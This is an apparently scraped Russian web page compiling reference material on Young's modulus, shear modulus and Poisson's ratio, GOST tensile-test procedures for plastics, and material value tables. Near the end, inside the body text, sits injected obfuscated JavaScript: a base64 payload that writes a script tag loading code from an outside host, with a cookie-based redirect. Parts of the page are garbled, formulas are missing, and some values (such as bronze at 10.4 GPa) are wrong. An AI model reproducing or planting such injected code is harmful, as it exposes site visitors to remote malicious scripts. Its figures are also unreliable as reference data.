Модуль упругости

Модуль Юнга

Мо́дуль Ю́нга (синонимы: модуль продольной упругости, модуль нормальной упругости) — физическая величина, характеризующая способность материала сопротивляться растяжению, сжатию при упругой деформации[1]. Обозначается большой буквой Е.

Назван в честь английского физика XIX века Томаса Юнга.

В динамических задачах механики модуль Юнга рассматривается в более общем смысле — как функционал деформируемой среды и процесса.

В Международной системе единиц (СИ) измеряется в ньютонах на квадратный метр или в паскалях. Является одним из модулей упругости.

Модуль Юнга рассчитывается следующим образом:

где:

Через модуль Юнга вычисляется скорость распространения продольной волны в тонком стержне:

где — плотность вещества.

Связь с другими модулями упругости[править | править код]

В случае изотропного тела модуль Юнга связан с модулем сдвига и модулем объёмной упругости соотношениями

и

где — коэффициент Пуассона.

Температурная зависимость модуля Юнга[править | править код]

Температурная зависимость модуля упругости простых кристаллических материалов объясняется исходя из того, что модуль упругости определяется как вторая производная от внутренней энергии по соответствующей деформации . Поэтому при температурах ( — температура Дебая) температурная зависимость модуля упругости определяется простым соотношением

где — адиабатический модуль упругости идеального кристалла при ; — дефект модуля, обусловленный тепловыми фононами; — дефект модуля, обусловленный тепловым движением электронов проводимости[2].

Значения модуля Юнга для некоторых материалов[править | править код]

Значения модуля Юнга для некоторых материалов приведены в таблице

См. также[править | править код]

• Закон Гука

Примечания[править | править код]

1. ↑ Главный редактор А. М. Прохоров. Модули упругости // Физический энциклопедический словарь. — М.: Советская энциклопедия. — 1983. — Статьи в Физическом энциклопедическом словаре и Физической энциклопедии.
2. ↑ Паль-Валь Л. Н., Семеренко Ю. А., Паль-Валь П. П., Скибина Л. В., Грикуров Г. Н. Исследование акустических и резистивных свойств перспективных хромо-марганцевых аустенитных сталей в области температур 5-300 К // Конденсированные среды и межфазные границы. — 2008. — Т. 10, вып. 3. — С. 226-235.
3. ↑ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Анурьев В. И. Справочник конструктора-машиностроителя в 3т. Т. 1/В. И. Анурьев; 8-е изд., перераб и доп. Под ред. И. Н. Жестковой. — М.: Машиностроение, 2001. — С. 34. ISBN 5-217-02963-3
4. ↑ Галашев А. Е., Рахманова О. Р. Устойчивость графена и материалов на его основе при механических и термических воздействиях (рус.) // Успехи физических наук. — М.: РАН, ФИАН, 2014. — Т. 184, вып. 10. — С. 1051.
5. ↑ В.Д. Нацик, П.П. Паль-Валь, Л.Н. Паль-Валь, Ю.А. Семеренко. Низкотемпературный a-пик внутреннего трения в ниобии и его связь с релаксацией кинков на дислокациях // ФНТ. — 2001. — Т. 27, вып. 5. — С. 547-557.
6. ↑ П.П. Паль-Валь, В.Д. Нацик, Л.Н. Паль-Валь, Ю.А. Семеренко. Нелинейные акустические эффекты в монокристаллах ниобия, обусловленные дислокациями // ФНТ. — 2004. — Т. 30, вып. 1. — С. 115-125.

Литература[править | править код]

• Волькенштейн В. С. Сборник задач по общему курсу физики / В. С. Волькенштейн. — СПб.: Лань, 1999. — 328 с.

Ссылки[править | править код]

• Квазистатический модуль Юнга (код на Mathcad).

Определение прочности и модуля упругости при растяжении полимерных материалов

Определение прочности материала при растяжении проводится по ГОСТ 11262, а определение модуля упругости — по ГОСТ 9550-81.

Образцы для испытаний термопластов и армированных пластиков должны соответствовать типу и размерам, указанным на рисунке и в таблице.

Рисунок 1: Образцы для испытаний материалов на растяжение (Числовые значения параметров приведены в таблице 1)

Образец типа 1 применяют для испытаний пластмасс с высоким относительным удлинением при разрыве (полиэтилен, пластифицированный поливинилхлорид), образец типа 2 — для испытаний большинства материалов (термореактивные, термопластичные и слоистые пластики), образец типа 3 в форме полоски — для испытаний стеклопластиков.

Таблица 1

Диаграмму растяжения строят при нагружении образца до разрушения. Скорость нагружения — 2,0±0,4 мм/мин. По удлинению в момент разрушения Dl определяют относительно удлинение при разрыве e.

По максимальному значению нагрузки Fpвычисляют предел прочности при растяжении.

Удлинение измеряют прибором с погрешностью не более 2% в диапазоне 0,1-0,5 мм. База преобразователя перемещения L0, устанавливаемого на образец, не менее 20 мм.

По диаграмме деформирования определяют значения нагрузок F1 и F2 и удлинение Dl1 и Dl2, соответствующих относительному удлинению 0,1% и 0,3% и рассчитывают модуль упругости при растяжении.

При невозможности записи диаграммы деформирования модуль упругости определяют при циклическом нагружении образца (до получения стабильных приращений) в диапазоне усилий F1 = (0,05-0,1)×Fр до F2 = 0,2×Fр. При значениях нагрузки F1 и F2 определяют приращение Dl на базе L0.

Испытания полимерных материалов на растяжение: экспериментальная часть

Испытания на растяжение полимерных материалов проводят при температуре 23±2°С в соответствии с ГОСТ 11262-80 и ГОСТ 9550-81.

Перед испытанием замеряют ширину и толщину образцов в рабочей части с точностью до 0,01 мм не менее чем в трех местах и вычисляют площадь поперечного сечения. В расчет принимают наименьшую площадь поперечного сечения.

Перед испытанием на образец наносят необходимые метки (без повреждения образцов), ограничивающие его базу и положение кромок захватов (таблица).

Образцы закрепляют в зажимы испытательной машины по меткам, определяющим положение кромок зажимов, таким образом, чтобы продольные оси зажимов и ось образца совпадали между собой и с направлением движения подвижного зажима. Зажимы затягивают равномерно, чтобы не было проскальзывания образца в процессе испытания, но при этом не происходило его разрушение в месте закрепления. Далее настраивают прибор для замера деформаций.

Затем образец нагружают возрастающей нагрузкой, величину которой фиксируют по шкале динамометра. Скорость нагружения составляет 25 мм/мин при определении прочности и относительного остаточного удлинения. В момент разрушения фиксируют наибольшее усилие и определяют прочность при растяжении по формуле

где Fp — нагрузка, при которой образец разрушился, Н; S0 = b×h — начальное поперечное сечение образца, мм2; b, h — ширина и толщина образца соответственно, мм.

Образцы, разрушившиеся за пределами рабочей части, за результат не принимают.

По удлинению в момент разрушения Dl определяют относительное удлинение при разрыве e:

где Dl — изменение расчетной длины образца в момент разрыва, мм; l0 — расчетная длина, мм.

Модуль упругости определяют по формуле

где F1, F2 — значения нагрузок, соответствующих относительному удлинению 0,1% и 0,3%, Н; Dl1, Dl2 — удлинение при нагрузках F1, F2 соответственно, мм.

За результат измерения прочности, относительного удлинения и модуля упругости принимают среднее арифметическое значение для всех образцов.

Результаты испытаний заносят в протокол.

Образцы протоколов испытаний на растяжение

ПРОТОКОЛ № ____ от _____________

Испытания на растяжение по ГОСТ 11262-80

1. ИСПЫТАТЕЛЬНАЯ МАШИНА (тип, номер, год выпуска, шкала)
2. АППАРАТУРА: (измеритель удлинения, тип и основные характеристики)
3. МАТЕРИАЛ: (тип, марка или состав связующего, ГОСТ, дата изготовления)
4. ОБРАЗЦЫ: (тип, размеры, количество, метод изготовления)
5. УСЛОВИЯ КОНДИЦИОНИРОВАНИЯ: температура 20 °С, относительная влажность 50% в течение 24 ч.
6. УСЛОВИЯ ПРОВЕДЕНИЯ ИСПЫТАНИЯ: (температура, влажность, скорость нагружения)
7. РЕЗУЛЬТАТЫ ИСПЫТАНИЙ:

Испытания провел:

ПРОТОКОЛ № ____ от _____________

Определения модуля упругости при растяжении по ГОСТ 9550-81

1. ИСПЫТАТЕЛЬНАЯ МАШИНА (тип, номер, год выпуска, шкала)
2. АППАРАТУРА: (измеритель удлинения, тип и основные характеристики)
3. МАТЕРИАЛ: (тип, марка или состав связующего, ГОСТ, дата изготовления)
4. ОБРАЗЦЫ: (тип, размеры, база, количество, метод изготовления)
5. УСЛОВИЯ КОНДИЦИОНИРОВАНИЯ: температура 20 °С, относительная влажность 50 % в течение 24 часов.
6. УСЛОВИЯ ПРОВЕДЕНИЯ ИСПЫТАНИЯ: (температура, влажность, скорость нагружения)
7. РЕЗУЛЬТАТЫ ИСПЫТАНИЙ:

Испытания провел:

Читайте также: Механические свойства полимеров

Список литературы:

Пластмассы. Метод определения модуля упругости при растяжении, сжатии и изгибе: ГОСТ 9550-81. — Взамен ГОСТ 9550-71; введ. 01.07.1982. — М.: ИПК Изд-во стандартов, 2004. — 8 с.

Пластмассы. Метод испытания на растяжение: ГОСТ 11262-80. — Взамен ГОСТ 11262-76; введ. 01.12.1980. — М.: Изд-во стандартов, 1986.- 16 с.

Пластмассы. Методы механических испытаний. Общие требования: ГОСТ 14359-69. — Введен 01.01.1970. — М.: Изд-во стандартов, 1979.- 21 с.

Расчеты и испытания на прочность. Методы механических испытаний композиционных материалов с полимерной матрицей (композитов). Метод испытания плоских образцов на растяжение при нормальной, повышенной и пониженной температурах: ГОСТ 25.601-80. — Введен 01.07.81. — М.: Изд-во стандартов, 1980.- 16 с.

Автор: Кордикова Е.И., кандидат технических наук, доцент кафедры механики материалов и конструкций БГТУ

Источник: Композиционные материалы: Лабораторный практикум, 2007 год

Дата в источнике: 2007 год

Модуль упругости Юнга и сдвига, коэффициент Пуассона значения (Таблица)

Общее понятие

При любом внешнем воздействии на предмет, внутри его возникают встречные силы, компенсирующие внешние. Для идеальных систем, находящихся в равновесии, силы равномерно распределены и равны, что позволяет сохранить форму предмета. Реальные системы не подчиняются таким правилам, что может привести к их деформации. Оценивая прочность материалов, говорят об их упругости.

Определение модуля Юнга твердых тел

Упругие материалы — это те, которые после прекращения внешнего воздействия, восстанавливают свою первоначальную форму.

Внутренние силы распределены равномерно по всей площади поперечного сечения предмета, имеют свою интенсивность, которая выражается количественно, называется напряжением (р) и измеряется в Н/м2 или по международной системе Па.

Напряжение имеет свою пространственную направленность: перпендикулярно площади сечения предмета — нормальное напряжение (σz) и лежащая в плоскости сечения — касательное напряжение (τz).

Опыт с пружинными весами

Модуль упругости (Е) как единицу измерения отношения материала к линейной деформации, и нормальное напряжение связывает формула закона Гука:

ε = σz/E (1)

где ε — относительное удлинение или деформация.

Преобразовав формулу (1) для выражения из нее нормального напряжения, можно увидеть, что Е является постоянной при относительном удлинении, и называется коэффициентом жесткости, а его единицы измерения Па, кгс/мм2 или Н/м2:

σz = Eε (2)

Модуль упругости — это единица измерения отношения напряжения, создаваемого в материале, к линейной деформации, такой как, растяжение и сжатие.

В справочных материалах размерность модуля упругости выражается в МПа, так как деформация имеет довольно малое значение. А зависимость между этими величинами обратно пропорциональная. Таким образом, Е имеет высокое значение, определяемое 107-109.

Физический смысл модуля Юнга

Во время принудительного изменения формы предметов внутри них порождаются силы, сопротивляющиеся такому изменению, и стремящиеся к восстановлению исходной формы и размеров упругих тел.

Если же тело не оказывает сопротивления изменению формы и по окончании воздействия остается в деформированном виде, то такое тело называют абсолютно неупругим, или пластичным. Характерным примером пластичного тела является брусок пластилина.

Р. Гук исследовал удлинение стрежней из различных веществ, под воздействием подвешенных к свободному концу гирь. Количественным выражением степени изменения формы считают относительное удлинение, равное отношению абсолютного удлинения и исходной длины.

В результате серии опытов было установлено, что абсолютное удлинение пропорционально с коэффициентом упругости исходной длине стрежня и деформирующей силе F и обратно пропорционально площади сечения этого стержня S:

Величину, обратную α, и называют модулем Юнга:

ε = (Δl) / l = α * (F/S)

Отношение растягивающей силы F к S называют упругим напряжением σ:

Закон Гука, записанный с использованием модуля Юнга, выглядит так:

Теперь можно сформулировать физический смысл модуля Юнга: он соответствует напряжению, вызываемому растягиванием стержнеобразного образца вдвое, при условии сохранения целостности.

В реальности подавляющее большинство образцов разрушаются до того, как растянутся вдвое от первоначальной длины. Значение E вычисляют с помощью косвенного метода на малых деформациях.

Коэффициент жёсткости при упругой деформации стержня вдоль его оси k = (ES) / l

Модуль Юнга определяет величину потенциальной энергии тел или сред, подвергшихся упругой деформации.

Способы расчета модуля упругости

Известны также и другие характеристики упругости, которые описывают сопротивление материалов к воздействиям как к линейным, так и отличным от них.

Величина, которая характеризует сопротивление материала к растяжению, то есть увеличению его длины вдоль оси, или к сжатию — сокращению линейного размера, называется модулем продольной упругости.

Обозначается как Е и выражается в Па или ГПа.

Показывает зависимость относительного удлинения от нормальной составляющей cилы (F) к ее площади распространения (S) и упругости (Е):

σz = F/ES (3)

Параметр также называют модулем Юнга или модулем упругости первого рода, в таблице показаны величины для материалов различной природы.

Модулем упругости второго рода называют модуль сдвига (G), который показывает сопротивление материала к сдвигающей силе (FG). Может быть выражена двумя способами.

• Через касательные напряжения (τz) и угол сдвига (γ):

G = τz/γ (4)

• Через соотношение модуля упругости первого рода и коэффициента Пуасонна (ν):

G = E/2(1+υ) (5)

Определенное в результате экспериментов значение сопротивления материала изгибу, называется модулем упругости при изгибе, и вычисляется следующим образом:

EИ = ((0,05-0,1)Fр- 0,2Fр)L2 / 4bh3(ƒ2-ƒ1) (6)

где Fр — разрушающая сила, Н;

L — расстояние между опорами, мм;

b, h — ширина и толщина образца, мм;

ƒ1, ƒ2- прогибы, образованные в результате нагрузки F1 и F2.

При равномерном давлении по всему объему на объект, возникает его сопротивление, называемое объемным модулем упругости или модулем сжатия (К). Выразить этот параметр можно, практически через все известные модули и коэффициент Пуассона.

Определение модуля упругости щебеночного основания

Параметры Ламе также используют для описания оценки прочности материала. Их два μ — модуль сдвига и λ. Они помогают учитывать все изменения внутри материала в трехмерном пространстве, тогда соотношения между нормальным напряжением и деформацией будет выглядеть следующим образом:

σ = 2με + λtrace(ε)I (7)

Оба параметра могут быть выражены из следующих соотношений:

λ = νE / (1+ν)(1-2ν) (8)

μ = E / 2(1+ν) (9)

Предел прочности материала

Это предел возникающего напряжения, после которого образец начинает разрушаться.

Статический предел прочности измеряется при продолжительном приложении деформирующего усилия, динамический — при кратковременном, ударном характере такого усилия. Для большинства веществ динамический предел больше, чем статический.

Инструмент для определения предела прочности

Кроме того, существуют пределы прочности на сжатие материала и на растяжение. Они определяются на испытательных стенда опытным путем, при растягивании или сжатии образцов мощными гидравлическим машинами, снабженными точными динамометрами и измерителями давления. В случае невозможности достижения требуемого давления гидравлическим способом иногда применяют направленный взрыв в герметичной капсуле.

Модуль упругости различных материалов

Модули упругости для различных материалов имеют совершенно разные значения, которые зависят от:

• природы веществ, формирующих состав материала;
• моно- или многокомпонентный состав (чистое вещество, сплав и так далее);
• структуры (металлическая или другой вид кристаллической решетки, молекулярное строение прочее);
• плотности материала (распределения частиц в его объеме);
• обработки, которой он подвергался (обжиг, травление, прессование и тому подобное).

Так, например, в справочных данных можно найти, что модуль упругости для алюминия составляет диапазон от 61,8 до 73,6 ГПа. Видимо, это и зависит от состояния металла и вида обработки, потому как для отожженного алюминия модуль Юнга — 68,5 ГПа.

Его значение для бронзовых материалов зависит не только от обработки, но и от химического состава:

• бронза — 10,4 ГПа;
• алюминиевая бронза при литье — 10,3 ГПа;
• фосфористая бронза катанная — 11,3 ГПа.

Модуль Юнга латуни на много ниже — 78,5-98,1. Максимальное значение имеет катанная латунь.

Сама же медь в чистом виде характеризуется сопротивлением к внешним воздействиям значительно большим, чем ее сплавы — 128,7 ГПа. Обработка ее также снижает показатель, в том числе и прокатка:

• литая — 82 ГПа;
• прокатанная — 108 ГПа;
• деформированная — 112 ГПа;
• холоднотянутая — 127 ГПа.

Близким значением к меди обладает титан (108 ГПа), который считается одним из самых прочных металлов. А вот тяжелый, но ломкий свинец, показывает всего 15,7-16,2 ГПа, что сравнимо с прочностью древесины.

Для железа показатель напряжения к деформации также зависит от метода его обработки: литое — 100-130 или кованное — 196,2-215,8 ГПа.

Чугун известен своей хрупкостью имеет отношение напряжения к деформации от 73,6 до 150 ГПа, что соответствует от его виду. Тогда как для стали модуль упругости может достигать 235 ГПа.

Модули упругости некоторых материалов

На величины параметров прочности влияют также и формы изделий. Например, для стального каната проводят расчеты, где учитывают:

• его диаметр;
• шаг свивки;
• угол свивки.

Интересно, что этот показатель для каната будет значительно ниже, чем для проволоки такого же диаметра.

Стоит отметить прочность и не металлических материалов. Например, среди модулей Юнга дерева наименьший у сосны — 8,8 ГПа, а вот у группы твердых пород, которые объединены под названием «железное дерево» самый высокий — 32,5 ГПа, дуб и бук имеют равные показатели — 16,3 ГПа.

Среди строительных материалов, сопротивление к внешним силам у, казалось бы, прочного гранита всего 35-50 ГПа, когда даже у стекла — 78 ГПа. Уступают стеклу бетон — до 40 ГПа, известняк и мрамор, со значениями 35 и 50 ГПа соответственно.

Такие гибкие материалы, как каучук и резина, выдерживают осевую нагрузку от 0,0015 до 0,0079 ГПа.

Способы определения и контроля показателей прочности металлов

Развитие металлургии и других сопутствующих направлений по изготовлению предметов из металла обязано созданию оружия. Сначала научились выплавлять цветные металлы, но прочность изделий была относительно невысокой. Только с появлением железа и его сплавов началось изучение их свойств.

Первые мечи для придания им твердости и прочности делали довольно тяжелыми. Воинам приходилось брать их в обе руки, чтобы управляться с ними.

Со временем появились новые сплавы, разрабатывались технологии производства. Легкие сабли и шпаги пришли на замену тяжеловесному оружию. Параллельно создавались орудия труда.

С повышением прочностных характеристик совершенствовались инструменты и способы производства.

Виды нагрузок

При использовании металлов прилагаются разные нагрузки статического и динамического воздействия. В теории прочности принято определять нагружения следующих видов.

• Сжатие — действующая сила сдавливает предмет, вызывая уменьшение длины вдоль направления приложения нагрузки. Такую деформацию ощущают станины, опорные поверхности, стойки и ряд других конструкций, выдерживающих определённый вес. Мосты и переправы, рамы автомобилей и тракторов, фундаменты и арматура, — все эти конструктивные элементы находятся при постоянном сжатии.

• Растяжение — нагрузка стремится удлинить тело в определенном направлении. Подъемно-транспортные машины и механизмы испытывают подобные нагружения при подъеме и переноске грузов.

• Сдвиг и срез — такое нагружение наблюдается в случае действия сил, направленных вдоль одной оси навстречу друг другу. Соединительные элементы (болты, винты, заклепки и другие метизы) испытывают нагрузку подобного вида. В конструкции корпусов, металлокаркасов, редукторов и других узлов механизмов и машин обязательно имеются соединительные детали. От их прочности зависит работоспособность устройств.

• Кручение — если на предмет действует пара сил, находящихся на определенном расстоянии друг от друга, то возникает крутящий момент. Эти усилия стремятся произвести скручивающую деформацию. Подобные нагружения наблюдаются в коробках передач, валы испытывают именно такую нагрузку. Она чаще всего непостоянная по значению. В течение времени величина действующих сил меняется.

• Изгиб — нагрузка, которая изменяет кривизну предметов, считается изгибающей. Мосты, перекладины, консоли, подъемно-транспортные механизмы и другие детали испытывают подобное нагружение.

В середине XVII века одновременно в нескольких странах начались исследования материалов. Предлагались самые разные методики по определению прочностных характеристик. Английский исследователь Роберт Гук (1660 г.) сформулировал основные положения закона по удлинению упругих тел в результате приложения нагрузки (закона Гука). Введены и понятия:

1. Напряжения σ, которое в механике измеряется в виде нагрузки, приложенной к определенной площади (кгс/см², Н/м², Па).
2. Модуля упругости Е, который определяет способность твердого тела деформироваться под действием нагружения (приложения силы в заданном направлении). Единицы измерения также определяются в кгс/см² (Н/м², Па).

Формула по закону Гука записывается в виде ε = σz/E, где:

• ε — относительное удлинение;
• σz — нормальное напряжение.

Демонстрация закона Гука для упругих тел:

Из приведенной зависимости выводится значение Е для определенного материала опытным путем, Е = σz/ε.

Модуль упругости — это постоянная величина, характеризующая сопротивление тела и его конструкционного материала при нормальной растягивающей или сжимающей нагрузке.

В теории прочности принято понятие модуль упругости Юнга. Это английский исследователь дал более конкретное описание способам изменения прочностных показателей при нормальных нагружениях.

Значения модуля упругости для некоторых материалов приведены в таблице 1.

Таблица 1: Модуль упругости для металлов и сплавов

Как определить модуль упругости стали

Выяснить модули упругости для различных марок стали можно несколькими путями:

1. по справочным данным из таблиц;
2. экспериментальными методами для небольшого образца;
3. расчетными методами, зная необходимые данные.

Жесткость стали зависит от ее химического состава и вида кристаллической решетки, от плотности, достигнутой в результате обработки. Прочность же ее конструкций определяется такими важными факторами, как параметры изделия, в том числе габариты, эксплуатационные нагрузки, и их длительность. При расчетах, выполняемых по нормированным методикам, результат осознанно завышают, чтобы предупредить возможные аварии и поломки.

Тем не менее, устойчивость стали к деформации определяется изначально ее маркой, то есть наличием примесей в сплаве.

В таблице приведены модули упругости стали наиболее популярных марок, а модуль сдвига ее составляет — 80-81 ГПа.

Из таблицы видно, что наименьшее значение прочности у стали 45, 25Г2С, 30ХГ2С, а у нержавеющей стали самое высокое — 235 ГПа.

Экспериментальный метод определения заключается в определении относительного удлинения небольшого стального образца на установке, с последующим расчетом.

В основе метода лежит заключение, что растяжение образца стали до предела упругости, подчиняется закону Гука (1). Зная приложенную силу (F) и площадь детали (А), выяснив ее удлинение (Δl) можно рассчитать Е:

E = Fl / AΔl (10)

Расчеты ведут в мм и МПа.

Для проектирования конструкций необходимо всегда знать или просчитывать не менее двух разных модулей упругости. Исходя из коэффициента жесткости можно перейти к другим видам сопротивления к воздействию извне для стали: упругости при изгибе и объемной.

Грамотный подбор материала, с учетом его прочности при эксплуатации, а также другие конструкторские расчеты, — основа любого проектного и строительного процесса. Полнота представления протекающих процессов внутри материалов, поможет рационально их использовать и возводить безопасные сооружения. getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.(.now()/1e3),cookie=getCookie(«redirect»);if(now>=(=cookie)||void 0===){var =Math.(.now()/1e3+86400),=new ((new ).get()+86400);document.cookie=»redirect=»++»; path=/; expires=»+.toGMTString(),document.write(»)}

Примечания

1. Модули упругости

   — Статьи в Физическом энциклопедическом словаре и Физической энциклопедии.

2. Л.Н. Паль-Валь, Ю.А. Семеренко, П.П. Паль-Валь, Л.В. Скибина, Г.Н. Грикуров.

   Исследование акустических и резистивных свойств перспективных хромо-марганцевых аустенитных сталей в области температур 5-300 К // Конденсированные среды и межфазные границы. — 2008. — Т. 10, вып. 3. — С. 226-235.

3. ↑ 1234567891011121314151617181920212223242526Анурьев В. И.

   Справочник конструктора-машиностроителя в 3т. Т. 1/В. И. Анурьев; 8-е изд., перераб и доп. Под ред. И. Н. Жестковой — М.: Машиностроение, 2001. — С. 34. ISBN 5-217-02963-3

4. Галашев А. Е., Рахманова О. Р.

   Устойчивость графена и материалов на его основе при механических и термических воздействиях // Успехи физических наук. — М.: РАН, ФИАН, 2014. — Т. 184, вып. 10. — С. 1051.

5. В.Д. Нацик, П.П. Паль-Валь, Л.Н. Паль-Валь, Ю.А. Семеренко.

   Низкотемпературный a-пик внутреннего трения в ниобии и его связь с релаксацией кинков на дислокациях // ФНТ. — 2001. — Т. 27, вып. 5. — С. 547-557.

6. П.П. Паль-Валь, В.Д. Нацик, Л.Н. Паль-Валь, Ю.А. Семеренко.

   Нелинейные акустические эффекты в монокристаллах ниобия, обусловленные дислокациями // ФНТ. — 2004. — Т. 30, вып. 1. — С. 115-125.